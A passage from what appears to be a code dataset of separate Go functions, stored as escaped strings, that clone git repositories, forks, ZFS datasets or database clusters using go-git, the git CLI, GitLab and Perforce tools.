destinationDir.Resolve(cc.DirName())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"CloneCommand_Run_Resolve: %w\", err)\n\t}\n\tfmt.Println(targetDirectory)\n\t// test directory is empty or not existing\n\terr = prepareDirectory(targetDirectory)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// execute git clone\n\terr = cc.Clone(targetDirectory)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"CloneCommand_Run_Clone: %w\", err)\n\t}\n\t// get info on gist\n\tgitHub := ctx.NewGitHub()\n\tgist, err := gitHub.GetGist(cc.GistID, cc.ProfileName)\n\tif err != nil {\n\t\tlog.Printf(\"clone %s Success, but failed to retreive metadata\\n\", cc.URL())\n\t\treturn fmt.Errorf(\"CloneCommand_GitHub_Metadata: %w\", err)\n\t}\n\t// write info into repository file under destination dir\n\tmetadataFile, err := destinationDir.Resolve(\".gist\")\n\tif err != nil {\n\t\tlog.Printf(\"clone %s Success, but failed to retreive metadata\\n\", cc.URL())\n\t\treturn fmt.Errorf(\"CloneCommand_GitHub_MetadataFile: %w\", err)\n\t}\n\tmetadata, err := NewMetadataFromGist(cc.RepositoryName, *gist)\n\tif err != nil {\n\t\tlog.Printf(\"clone %s Success, but failed to parse metadata(%v)\\n\", cc.URL(), err)\n\t\treturn fmt.Errorf(\"CloneCommand_GitHub_CreateMetadata: %w\", err)\n\t}\n\terr = metadata.AppendTo(metadataFile)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"CloneCommand_GitHub_WriteMetadata: %w\", err)\n\t}\n\treturn nil\n}", "func (s *GitService) CloneRepository(ctx context.Context, URL string) (r *git.Repository, dir string, err error) {\n\tdir, err = os.MkdirTemp(\"\", \"repo-*\")\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\n\tr, err = git.PlainCloneContext(ctx, dir, false, &git.CloneOptions{\n\t\tURL: URL,\n\t\tAuth: &githttp.BasicAuth{Username: s.Client.username, Password: s.Client.token},\n\t})\n\tif err != nil {\n\t\treturn nil, \"\", fmt.Errorf(\"failed to clone repository: %v\", err)\n\t}\n\n\terr = r.Fetch(&git.FetchOptions{\n\t\tRefSpecs: []config.RefSpec{\"refs/*:refs/*\", \"HEAD:refs/heads/HEAD\"},\n\t\tAuth: &githttp.BasicAuth{Username: s.Client.username, Password: s.Client.token},\n\t})\n\n\tif err != nil {\n\t\treturn nil, \"\", fmt.Errorf(\"failed to fetch repository: %v\", err)\n\t}\n\n\treturn r, dir, nil\n}", "func (repo *Repo) Clone() error {\n\trepoPath, repoDir := path.Split(repo.Path)\n\n\tif IsRepo(repo.Path) {\n\t\tfmt.Printf(\"Path %s is a repo, updating from svn.\\n\", repo.Path)\n\t\terr := execCmd(repo.Path, \"git\", \"svn\", \"rebase\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tif IsDir(repo.Path) {\n\t\t\tfmt.Fprintf(os.Stderr, \"Path %s exists but is not a repo.\\n\", repo.Path)\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\tfmt.Printf(\"Cloning %q from svn url %q\\n\", repo.Path, repo.Url)\n\t\terr := os.MkdirAll(repo.Path, 0770)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\targs := []string{\"svn\", \"clone\"}\n\t\targs = append(args, repo.getCheckoutArgs()...)\n\t\targs = append(args, repo.Url, repoDir)\n\t\terr = execCmd(repoPath, \"git\", args...)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !repo.ExternalsKnown {\n\t\terr := repo.LoadExternals()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t} else {\n\t\t\trepo.IgnoreExternals()\n\t\t}\n\t}\n\n\t// Save the externals\n\trepo.WriteConfig()\n\n\tfor i := range repo.Externals {\n\t\terr := repo.Externals[i].Clone()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func CloneRepo(url string) (string, string) {\n\tvar lastCommitHash string\n\n\t// 1. check GOPATH\n\ts := os.Getenv(\"GOPATH\")\n\tif s == \"\" {\n\t\tlogger.Fatal(\"could not find GOPATH,\" +\n\t\t\t\" please make sure you have set the GOPATH!\")\n\t\treturn \"\", \"\"\n\t}\n\t// url string has /n /r\n\turl = strings.TrimSuffix(url, \"\\n\")\n\turl = strings.TrimSuffix(url, \"\\r\")\n\tvar projectPath = filepath.Join(s, \"src\", \"github.com\", url)\n\tvar repo *git.Repository\n\tif _, err := os.Stat(projectPath); os.IsExist(err) {\n\t\t// path/to/whatever exists, delete or git pull ?\n\t\t// TODO: delete or git pull\n\t\tlogger.Infof(\"The path exists: %v\", err)\n\n\t} else {\n\t\t// create the path\n\t\terr := os.MkdirAll(projectPath, 0755)\n\t\tif err != nil {\n\t\t\tlogger.Fatalf(\"Failed to create path : %v\", err)\n\t\t\treturn \"\", \"\"\n\t\t}\n\n\t\t// Clones the repository into the given dir, just as a normal git clone does\n\t\tlogger.Infof(\"Start cloning project: %s\", url)\n\t\tr, err := git.PlainClone(projectPath, false, &git.CloneOptions{\n\t\t\tURL: \"https://github.com/\" + url,\n\t\t\tProgress: os.Stdout,\n\t\t})\n\t\trepo = r\n\t\tif err != nil {\n\t\t\tlogger.Info(err)\n\t\t\t// git pull origin master\n\t\t\tr, err := git.PlainOpen(projectPath)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Info(err)\n\t\t\t}\n\t\t\trepo = r\n\t\t}\n\t}\n\n\t//// 2. Tempdir to clone the repository\n\t//dir, err := ioutil.TempDir(\"\", url)\n\t//if err != nil {\n\t//\tlog.Fatal(err)\n\t//}\n\n\t// get last commithash\n\thead, _ := repo.Head()\n\tif head != nil {\n\t\tcIter, err := repo.Log(&git.LogOptions{From: head.Hash()})\n\t\tvar commits []*object.Commit\n\t\terr = cIter.ForEach(func(c *object.Commit) error {\n\t\t\tcommits = append(commits, c)\n\t\t\treturn nil\n\t\t})\n\n\t\tlastCommitHash = fmt.Sprintf(\"%s\", commits[0].Hash)\n\t\tif err != nil {\n\t\t\tlogger.Fatal(err)\n\t\t}\n\t}\n\n\treturn projectPath, lastCommitHash\n}", "func CloneBare(URL string) (Repository, error) {\n\t// Git objects storer based on memory\n\tstorer := memory.NewStorage()\n\n\trepo, err := git.Clone(storer, nil, &git.CloneOptions{\n\t\tURL: URL,\n\t\tTags: git.TagMode(2),\n\t})\n\tif err != nil {\n\t\treturn Repository{}, err\n\t}\n\treturn Repository{repo}, nil\n}", "func GitClone(url, dir string) (*git.Repository, error) {\n\t//os.RemoveAll(dir)\n\tr, err := git.PlainClone(dir, false, &git.CloneOptions{\n\t\tURL: url,\n\t\t//Progress: os.Stdout,\n\t})\n\tif err != nil {\n\t\tos.RemoveAll(dir)\n\t\treturn nil, errors.New(\"Failed cloning repo: \" + url + \" \" + dir + \" \" + err.Error())\n\t}\n\treturn r, nil\n}", "func cloneInto(ctx context.Context, access repoAccess, branch, path, impl string) (*gogit.Repository, error) {\n\tcheckoutStrat, err := gitstrat.CheckoutStrategyForRef(&sourcev1.GitRepositoryRef{\n\t\tBranch: branch,\n\t}, impl)\n\tif err == nil {\n\t\t_, _, err = checkoutStrat.Checkout(ctx, path, access.url, access.auth)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn gogit.PlainOpen(path)\n}", "func (g *Gitlab) ForkRepository(ctx context.Context, repo scm.Repository, newOwner string) (scm.Repository, error) {\n\tr := repo.(repository)\n\n\t// Get the username of the fork (logged in user if none is set)\n\townerUsername := newOwner\n\tif newOwner == \"\" {\n\t\tcurrentUser, err := g.getCurrentUser(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\townerUsername = currentUser.Username\n\t}\n\n\t// Check if the project already exist\n\tproject, resp, err := g.glClient.Projects.GetProject(\n\t\tfmt.Sprintf(\"%s/%s\", ownerUsername, r.name),\n\t\tnil,\n\t\tgitlab.WithContext(ctx),\n\t)\n\tif err == nil { // Already forked, just return it\n\t\treturn g.convertProject(project)\n\t} else if resp.StatusCode != http.StatusNotFound { // If the error was that the project does not exist, continue to fork it\n\t\treturn nil, err\n\t}\n\n\tnewRepo, _, err := g.glClient.Projects.ForkProject(r.pid, &gitlab.ForkProjectOptions{\n\t\tNamespace: &newOwner,\n\t}, gitlab.WithContext(ctx))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor i := 0; i < 10; i++ {\n\t\trepo, _, err := g.glClient.Projects.GetProject(newRepo.ID, nil, gitlab.WithContext(ctx))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif repo.ImportStatus == \"finished\" {\n\t\t\treturn g.convertProject(newRepo)\n\t\t}\n\n\t\ttime.Sleep(time.Second * 3)\n\t}\n\n\treturn nil, errors.New(\"time waiting for fork to complete was exceeded\")\n}", "func (z *zfsctl) Clone(ctx context.Context, name string, properties map[string]string, source string) *execute {\n\targs := []string{\"clone\", \"-p\"}\n\tif properties != nil {\n\t\tkv := \"-o \"\n\t\tfor k, v := range properties {\n\t\t\tkv += fmt.Sprintf(\"%s=%s \", k, v)\n\t\t}\n\t\targs = append(args, kv)\n\t}\n\targs = append(args, source, name)\n\treturn &execute{ctx: ctx, name: z.cmd, args: args}\n}", "func load() {\n _, err := git.PlainClone(string(Root), false, &git.CloneOptions{\n URL: \"https://github.com/CSSEGISandData/COVID-19.git\",\n Progress: os.Stdout,\n })\n Check(err)\n}", "func cloneShallowAtLocation(cwd string, rev string, repo string, target string) error {\n\troot := filepath.Join(target, path.Base(repo))\n\n\t// Clear out remnants of previous build\n\tos.RemoveAll(root)\n\tos.MkdirAll(root, 0700)\n\n\tcmd := exec.Command(\"echo\", \"git\", \"clone\", \"--depth=1\", \"file://\"+cwd+\"/\"+repo, root)\n\n\terr := cmd.Run()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (g *GitLocal) ShallowClone(dir string, url string, commitish string, pullRequest string) error {\n\treturn g.GitFake.ShallowClone(dir, url, commitish, pullRequest)\n}", "func (cc *CloneCommand) Clone(directory string) error {\n\turl := cc.URL()\n\t_, err := git.PlainClone(directory, false, &git.CloneOptions{\n\t\tURL: url,\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"GitClone(%s): %w\", url, err)\n\t}\n\treturn nil\n}", "func (t TestRepo) Clone() TestRepo {\n\tpath, err := ioutil.TempDir(\"\", \"gtm\")\n\tCheckFatal(t.test, err)\n\n\tr, err := git.Clone(t.repo.Path(), path, &git.CloneOptions{})\n\tCheckFatal(t.test, err)\n\n\treturn TestRepo{repo: r, test: t.test}\n}", "func (suiteSJ *TestSuiteForGitWorkSJ) Test_GitClone_And_RemoveRepository() {\n\n\t// setting location for test files\n\tsuiteSJ.specialFolder = \"TestGitCloneAndRemoveRepository\"\n\tsuiteSJ.singleJob.location = filepath.Join(PathToDirectoryForTest, suiteSJ.specialFolder)\n\tsuiteSJ.singleJob.locationOfRepository = filepath.Join(suiteSJ.singleJob.location, suiteSJ.singleJob.commit.RepoName)\n\n\t// repository should not exist before calling GitClone\n\tos.Mkdir(filepath.Join(GlobalPath, TestResultsDir, suiteSJ.specialFolder), os.ModePerm)\n\tfmt.Println(suiteSJ.singleJob.locationOfRepository)\n\terr := Ls(suiteSJ.singleJob.locationOfRepository)\n\n\tif err == nil {\n\t\tfmt.Println(\"location of existing repository >> \" + suiteSJ.singleJob.location)\n\t\tsuiteSJ.FailNow(\"Cloned repository already exists: %s\", err.Error())\n\t}\n\t////////////////////////////////////////////\n\tsuiteSJ.singleJob.GitClone(urlProvided)\n\t////////////////////////////////////////////\n\t// repository should exist after calling GitClone\n\terr = Ls(suiteSJ.singleJob.locationOfRepository)\n\n\tsuiteSJ.Equal(nil, err, \"Repository was not cloned\")\n\n\t// cleanup\n\tsuiteSJ.singleJob.RemoveRepository()\n\terr = Ls(suiteSJ.singleJob.locationOfRepository)\n\tif err == nil {\n\t\tsuiteSJ.FailNow(\"Repository was not removed: %s\", err.Error())\n\t}\n}", "func Clone(url string) (string, error) {\n\tpath := fmt.Sprintf(\"%s/git/%s\", tmpPath, RandString(10))\n\tif err := os.MkdirAll(path, os.ModePerm); err != nil {\n\t\treturn \"\", err\n\t}\n\t_, err := git.PlainClone(path, false, &git.CloneOptions{\n\t\tURL: url,\n\t})\n\treturn path, err\n}", "func (g *GithubAppWorkingDir) Clone(log logging.Logger, headRepo models.Repo, p models.PullRequest, workspace string) (string, bool, error) {\n\tlog.Info(\"Refreshing git tokens for Github App\", map[string]interface{}{\n\t\t\"repository\": headRepo.FullName,\n\t\t\"pull-num\": p.Num,\n\t\t\"workspace\": workspace,\n\t})\n\n\ttoken, err := g.Credentials.GetToken()\n\tif err != nil {\n\t\treturn \"\", false, errors.Wrap(err, \"getting github token\")\n\t}\n\n\thome, err := homedir.Dir()\n\tif err != nil {\n\t\treturn \"\", false, errors.Wrap(err, \"getting home dir to write ~/.git-credentials file\")\n\t}\n\n\t// https://developer.github.com/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation\n\tif err := github.WriteGitCreds(\"x-access-token\", token, g.GithubHostname, home, log, true); err != nil {\n\t\treturn \"\", false, err\n\t}\n\n\tbaseRepo := &p.BaseRepo\n\n\t// Realistically, this is a super brittle way of supporting clones using gh app installation tokens\n\t// This URL should be built during Repo creation and the struct should be immutable going forward.\n\t// Doing this requires a larger refactor however, and can probably be coupled with supporting > 1 installation\n\tauthURL := fmt.Sprintf(\"://x-access-token:%s\", token)\n\tbaseRepo.CloneURL = strings.Replace(baseRepo.CloneURL, \"://:\", authURL, 1)\n\tbaseRepo.SanitizedCloneURL = strings.Replace(baseRepo.SanitizedCloneURL, \"://:\", \"://x-access-token:\", 1)\n\theadRepo.CloneURL = strings.Replace(headRepo.CloneURL, \"://:\", authURL, 1)\n\theadRepo.SanitizedCloneURL = strings.Replace(baseRepo.SanitizedCloneURL, \"://:\", \"://x-access-token:\", 1)\n\n\treturn g.WorkingDir.Clone(log, headRepo, p, workspace)\n}", "func createGitRepo(ctx *context, options *git.CloneOptions, revision models.GitRevision) bool {\n\t// before clone\n\tctx.mu.Lock()\n\tctx.v.URL = options.URL\n\tctx.mu.Unlock()\n\t// clone\n\t_, err := git.PlainClone(ctx.root, false, options)\n\tif err != nil {\n\t\tlog.Printf(\"failed to clone git repo to %s --- %s\", ctx.root, err.Error())\n\t\tctx.SetRepoStatusError(err.Error())\n\t\treturn false\n\t}\n\tlog.Printf(\"successfully cloned git repo to %s\", ctx.root)\n\t// checkout\n\treturn ctx.checkoutGitRepo(revision, options.Auth, false)\n}", "func (g *getter) getRemoteRepository(remote RemoteRepository, branch string) error {\n\tremoteURL := remote.URL()\n\tlocal, err := LocalRepositoryFromURL(remoteURL)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar (\n\t\tfpath = local.FullPath\n\t\tnewPath = false\n\t)\n\n\t_, err = os.Stat(fpath)\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\tnewPath = true\n\t\t\terr = nil\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tswitch {\n\tcase newPath:\n\t\tif remoteURL.Scheme == \"codecommit\" {\n\t\t\tlogger.Log(\"clone\", fmt.Sprintf(\"%s -> %s\", remoteURL.Opaque, fpath))\n\t\t} else {\n\t\t\tlogger.Log(\"clone\", fmt.Sprintf(\"%s -> %s\", remoteURL, fpath))\n\t\t}\n\t\tvar (\n\t\t\tlocalRepoRoot = fpath\n\t\t\trepoURL = remoteURL\n\t\t)\n\t\tvcs, ok := vcsRegistry[g.vcs]\n\t\tif !ok {\n\t\t\tvcs, repoURL, err = remote.VCS()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tif l := detectLocalRepoRoot(remoteURL.Path, repoURL.Path); l != \"\" {\n\t\t\tlocalRepoRoot = filepath.Join(local.RootPath, remoteURL.Hostname(), l)\n\t\t}\n\n\t\tif remoteURL.Scheme == \"codecommit\" {\n\t\t\trepoURL, _ = url.Parse(remoteURL.Opaque)\n\t\t}\n\t\tif getRepoLock(localRepoRoot) {\n\t\t\treturn vcs.Clone(&vcsGetOption{\n\t\t\t\turl: repoURL,\n\t\t\t\tdir: localRepoRoot,\n\t\t\t\tshallow: g.shallow,\n\t\t\t\tsilent: g.silent,\n\t\t\t\tbranch: branch,\n\t\t\t\trecursive: g.recursive,\n\t\t\t\tbare: g.bare,\n\t\t\t})\n\t\t}\n\t\treturn nil\n\tcase g.update:\n\t\tlogger.Log(\"update\", fpath)\n\t\tvcs, localRepoRoot := local.VCS()\n\t\tif vcs == nil {\n\t\t\treturn fmt.Errorf(\"failed to detect VCS for %q\", fpath)\n\t\t}\n\t\tif getRepoLock(localRepoRoot) {\n\t\t\treturn vcs.Update(&vcsGetOption{\n\t\t\t\tdir: localRepoRoot,\n\t\t\t\tsilent: g.silent,\n\t\t\t\trecursive: g.recursive,\n\t\t\t})\n\t\t}\n\t\treturn nil\n\t}\n\tlogger.Log(\"exists\", fpath)\n\treturn nil\n}", "func (h *stiGit) Clone(src *URL, target string, c CloneConfig) error {\n\tvar err error\n\n\tsource := *src\n\n\tif cygpath.UsingCygwinGit {\n\t\tif source.IsLocal() {\n\t\t\tsource.URL.Path, err = cygpath.ToSlashCygwin(source.LocalPath())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\ttarget, err = cygpath.ToSlashCygwin(target)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tcloneArgs := append([]string{\"clone\"}, cloneConfigToArgs(c)...)\n\tcloneArgs = append(cloneArgs, []string{source.StringNoFragment(), target}...)\n\tstderr := &bytes.Buffer{}\n\topts := cmd.CommandOpts{Stderr: stderr}\n\terr = h.RunWithOptions(opts, \"git\", cloneArgs...)\n\tif err != nil {\n\t\tlog.Errorf(\"Clone failed: source %s, target %s, with output %q\", source, target, stderr.String())\n\t\treturn err\n\t}\n\treturn nil\n}", "func (i *interactor) CloneWithRepoOpts(from string, repoOpts RepoOpts) error {\n\ti.logger.Infof(\"Creating a clone of the repo at %s from %s\", i.dir, from)\n\tcloneArgs := []string{\"clone\"}\n\n\tif repoOpts.ShareObjectsWithSourceRepo {\n\t\tcloneArgs = append(cloneArgs, \"--shared\")\n\t}\n\n\t// Handle sparse checkouts.\n\tif repoOpts.SparseCheckoutDirs != nil {\n\t\tcloneArgs = append(cloneArgs, \"--sparse\")\n\t}\n\n\tcloneArgs = append(cloneArgs, []string{from, i.dir}...)\n\n\tif out, err := i.executor.Run(cloneArgs...); err != nil {\n\t\treturn fmt.Errorf(\"error creating a clone: %w %v\", err, string(out))\n\t}\n\n\t// For sparse checkouts, we have to do some additional housekeeping after\n\t// the clone is completed. We use Git's global \"-C <directory>\" flag to\n\t// switch to that directory before running the \"sparse-checkout\" command,\n\t// because otherwise the command will fail (because it will try to run the\n\t// command in the $PWD, which is not the same as the just-created clone\n\t// directory (i.dir)).\n\tif repoOpts.SparseCheckoutDirs != nil {\n\t\tif len(repoOpts.SparseCheckoutDirs) == 0 {\n\t\t\treturn nil\n\t\t}\n\t\tsparseCheckoutArgs := []string{\"-C\", i.dir, \"sparse-checkout\", \"set\"}\n\t\tsparseCheckoutArgs = append(sparseCheckoutArgs, repoOpts.SparseCheckoutDirs...)\n\t\tif out, err := i.executor.Run(sparseCheckoutArgs...); err != nil {\n\t\t\treturn fmt.Errorf(\"error setting it to a sparse checkout: %w %v\", err, string(out))\n\t\t}\n\t}\n\treturn nil\n}", "func (f *FakeGit) Clone(source *git.URL, target string, c git.CloneConfig) error {\n\tf.CloneSource = source\n\tf.CloneTarget = target\n\treturn f.CloneError\n}", "func (c *Client) CloneRepo(repoID, newClone string, copyAll bool) error {\n\tcq := CloneRepoRequest{\n\t\tCloneName: newClone,\n\t\tCopyAll: copyAll,\n\t}\n\treturn c.postBasicResponse(c.formURI(\"api/v1/clone/\"+repoID), &cq, &Response{})\n}", "func (s *PerforceDepotSyncer) CloneCommand(ctx context.Context, remoteURL *vcs.URL, tmpPath string) (*exec.Cmd, error) {\n\tusername, password, host, depot, err := decomposePerforceRemoteURL(remoteURL)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"decompose\")\n\t}\n\n\terr = p4pingWithTrust(ctx, host, username, password)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"ping with trust\")\n\t}\n\n\t// Example: git p4 clone --bare --max-changes 1000 //Sourcegraph/@all /tmp/clone-584194180/.git\n\targs := []string{\"p4\", \"clone\", \"--bare\"}\n\tif s.MaxChanges > 0 {\n\t\targs = append(args, \"--max-changes\", strconv.Itoa(s.MaxChanges))\n\t}\n\targs = append(args, depot+\"@all\", tmpPath)\n\n\tcmd := exec.CommandContext(ctx, \"git\", args...)\n\tcmd.Env = append(os.Environ(),\n\t\t\"P4PORT=\"+host,\n\t\t\"P4USER=\"+username,\n\t\t\"P4PASSWD=\"+password,\n\t)\n\n\treturn cmd, nil\n}", "func (i *interactor) Clone(from string) error {\n\treturn i.CloneWithRepoOpts(from, RepoOpts{})\n}", "func CloneCommand(cr CommandRunner, m manifest.Manifest) func(*cli.Cmd) {\n\treturn func(cmd *cli.Cmd) {\n\t\tproject := cmd.StringArg(\"PROJECT\", \"\", \"name of project to clone\")\n\n\t\tcmd.Action = func() {\n\t\t\tp, err := m.FindProject(*project)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"%s\", err)\n\t\t\t}\n\n\t\t\tc := exec.Command(\n\t\t\t\t\"bash\", \"-c\",\n\t\t\t\tfmt.Sprintf(\"git clone %s %s\", p.Repository, p.Path),\n\t\t\t)\n\t\t\tc.Stdout = os.Stdout\n\t\t\tc.Stderr = os.Stderr\n\t\t\tc.Stdin = os.Stdin\n\n\t\t\terr = cr.Run(c)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"failed to clone project: %s\", err)\n\t\t\t}\n\t\t}\n\t}\n}", "func CopyRepoAsFork(repo *types.Repo, metadata any, nameAndOwner, forkNameAndOwner string) (*types.Repo, error) {\n\tforkRepo := *repo\n\n\tif repo.Sources == nil || len(repo.Sources) == 0 {\n\t\treturn nil, errors.New(\"repo has no sources\")\n\t}\n\n\tforkSources := map[string]*types.SourceInfo{}\n\n\tfor urn, src := range repo.Sources {\n\t\tif src != nil || src.CloneURL != \"\" {\n\t\t\tforkURL := strings.Replace(\n\t\t\t\tstrings.ToLower(src.CloneURL),\n\t\t\t\tstrings.ToLower(nameAndOwner),\n\t\t\t\tstrings.ToLower(forkNameAndOwner),\n\t\t\t\t1,\n\t\t\t)\n\t\t\tforkSources[urn] = &types.SourceInfo{\n\t\t\t\tID: src.ID,\n\t\t\t\tCloneURL: forkURL,\n\t\t\t}\n\t\t}\n\t}\n\n\tforkRepo.Sources = forkSources\n\tforkRepo.Metadata = metadata\n\n\treturn &forkRepo, nil\n}", "func cloneRepos(repos map[string]string) error {\n\t// Build the local repository path base used for output.\n\tpathBase := path.Clean(viper.Get(\"path\").(string))\n\t// Loop through the repository map.\n\tfor name, url := range repos {\n\t\tfmt.Printf(\"Attempting to clone repository: %s\\n\", name)\n\t\t// Create the full output path for this repo.\n\t\tout := filepath.Join(pathBase, name)\n\t\t// Clone the repo to the output path.\n\t\t_, err := git.PlainClone(out, false, &git.CloneOptions{\n\t\t\tURL: url,\n\t\t\tProgress: os.Stdout,\n\t\t\tRemoteName: \"snyk\",\n\t\t})\n\t\t// Check if the repo was already cloned. If it was, attempt\n\t\t// to fetch and pull it instead of clone.\n\t\tif err != nil && err != git.ErrRepositoryAlreadyExists {\n\t\t\treturn err\n\t\t} else if err == git.ErrRepositoryAlreadyExists {\n\t\t\tfmt.Printf(\"%s already cloned, attempting to pull from upstream\\n\", name)\n\t\t\t// Open previously cloned, local repo.\n\t\t\tr, err := git.PlainOpen(out)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Get the working directory for the repository\n\t\t\tw, err := r.Worktree()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Perform a fetch on upstream \"snyk\" remote.\n\t\t\terr = r.Fetch(&git.FetchOptions{\n\t\t\t\tRemoteName: \"snyk\",\n\t\t\t\tRefSpecs: []config.RefSpec{\n\t\t\t\t\t\"refs/*:refs/*\",\n\t\t\t\t},\n\t\t\t\tProgress: os.Stdout,\n\t\t\t})\n\n\t\t\t// Pull the latest changes from the origin remote and merge into the current branch.\n\t\t\terr = w.Pull(&git.PullOptions{RemoteName: \"snyk\"})\n\t\t\tif err != nil && err != git.NoErrAlreadyUpToDate && err != git.ErrNonFastForwardUpdate {\n\t\t\t\treturn err\n\t\t\t} else if err == git.NoErrAlreadyUpToDate {\n\t\t\t\tfmt.Printf(\"%s already up to date, nothing to pull\\n\", name)\n\t\t\t} else if err == git.ErrNonFastForwardUpdate {\n\t\t\t\tfmt.Printf(\"%s has been modified locally, cannot merge from upstream\", name)\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func clone(namespace, sourceClusterName, targetClusterName string) {\n\tlog.Debugf(\"clone called namespace:%s sourceClusterName:%s targetClusterName:%s\",\n\t\tnamespace, sourceClusterName, targetClusterName)\n\n\t// set up a request to the clone API sendpoint\n\trequest := msgs.CloneRequest{\n\t\tBackrestStorageSource: BackrestStorageSource,\n\t\tBackrestPVCSize: BackrestPVCSize,\n\t\tEnableMetrics: MetricsFlag,\n\t\tNamespace: Namespace,\n\t\tPVCSize: PVCSize,\n\t\tSourceClusterName: sourceClusterName,\n\t\tTargetClusterName: targetClusterName,\n\t}\n\n\t// make a call to the clone API\n\tresponse, err := api.Clone(httpclient, &SessionCredentials, &request)\n\n\t// if there was an error with the API call, print that out here\n\tif err != nil {\n\t\tfmt.Println(\"Error: \" + err.Error())\n\t\tos.Exit(1)\n\t}\n\n\t// if the response was unsuccessful due to user error, print out the error\n\t// message here\n\tif response.Status.Code != msgs.Ok {\n\t\tfmt.Println(\"Error: \" + response.Status.Msg)\n\t\tos.Exit(1)\n\t}\n\n\t// otherwise, print out some feedback:\n\tfmt.Println(\"Created clone task for: \", response.TargetClusterName)\n\tfmt.Println(\"workflow id is \", response.WorkflowID)\n}", "func (c Config) backup(r repo) (repoState, error) {\n\trepoDir := getRepoDir(c.Dir, r.Path, c.Account)\n\n\trepoExists, err := exists(repoDir)\n\tif err != nil {\n\t\treturn stateFailed, fmt.Errorf(\"cannot check if repo exists: %v\", err)\n\t}\n\n\tvar cmd *exec.Cmd\n\tif repoExists {\n\t\tc.Log.Printf(\"Updating %s\", r.Path)\n\t\tcmd = exec.Command(\"git\", \"remote\", \"update\")\n\t\tcmd.Dir = repoDir\n\t} else {\n\t\tc.Log.Printf(\"Cloning %s\", r.Path)\n\t\tcmd = exec.Command(\"git\", \"clone\", \"--mirror\", \"--no-checkout\", \"--progress\", getCloneURL(r, c.Secret), repoDir)\n\t}\n\tout, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\tif !repoExists {\n\t\t\t// clean up clone dir after a failed clone\n\t\t\t// if it was a clean clone only\n\t\t\t_ = os.RemoveAll(repoDir)\n\t\t}\n\t\treturn stateFailed, fmt.Errorf(\"error running command %v (%v): %v (%v)\", maskSecrets(cmd.Args, []string{c.Secret}), cmd.Path, string(out), err)\n\t}\n\treturn gitState(repoExists, string(out)), nil\n}", "func (r *Repository) Clone(path string) error {\n\tr.Lock()\n\tdefer r.Unlock()\n\n\t// Clone the first tracked branch instead of the default branch\n\tif len(r.Config.Branches) == 0 {\n\t\treturn fmt.Errorf(\"No tracked branches specified\")\n\t}\n\tcheckoutBranch := r.Config.Branches[0]\n\n\trawRepo, err := git.Clone(r.Config.Url, path, &git.CloneOptions{\n\t\tCheckoutOpts: &git.CheckoutOpts{\n\t\t\tStrategy: git.CheckoutNone,\n\t\t},\n\t\tCheckoutBranch: checkoutBranch,\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tr.Repository = rawRepo\n\n\terr = r.checkoutConfigBranches()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func Clone(ctx context.Context, repoUrl, dest string, rev *revision.Revision) error {\n\t// If the checkout does not already exist in dest, create it.\n\tgitDir := filepath.Join(dest, \".git\")\n\tif _, err := os.Stat(gitDir); os.IsNotExist(err) {\n\t\tif err := git.Clone(ctx, repoUrl, dest, false); err != nil {\n\t\t\treturn skerr.Wrap(err)\n\t\t}\n\t}\n\n\t// Fetch and reset to the given revision.\n\tco := &git.Checkout{GitDir: git.GitDir(dest)}\n\tif err := co.Fetch(ctx); err != nil {\n\t\treturn skerr.Wrap(err)\n\t}\n\tif _, err := co.Git(ctx, \"reset\", \"--hard\", rev.Id); err != nil {\n\t\treturn skerr.Wrap(err)\n\t}\n\treturn nil\n}", "func getRemoteRepository(remote RemoteRepository, doUpdate bool, isShallow bool) {\n\tremoteURL := remote.URL()\n\tlocal := LocalRepositoryFromURL(remoteURL)\n\n\tpath := local.FullPath\n\tnewPath := false\n\n\t_, err := os.Stat(path)\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\tnewPath = true\n\t\t\terr = nil\n\t\t}\n\t\tutils.PanicIf(err)\n\t}\n\n\tif newPath {\n\t\tutils.Log(\"clone\", fmt.Sprintf(\"%s -> %s\", remoteURL, path))\n\n\t\tvcs := remote.VCS()\n\t\tif vcs == nil {\n\t\t\tutils.Log(\"error\", fmt.Sprintf(\"Could not find version control system: %s\", remoteURL))\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\tvcs.Clone(remoteURL, path, isShallow)\n\t} else 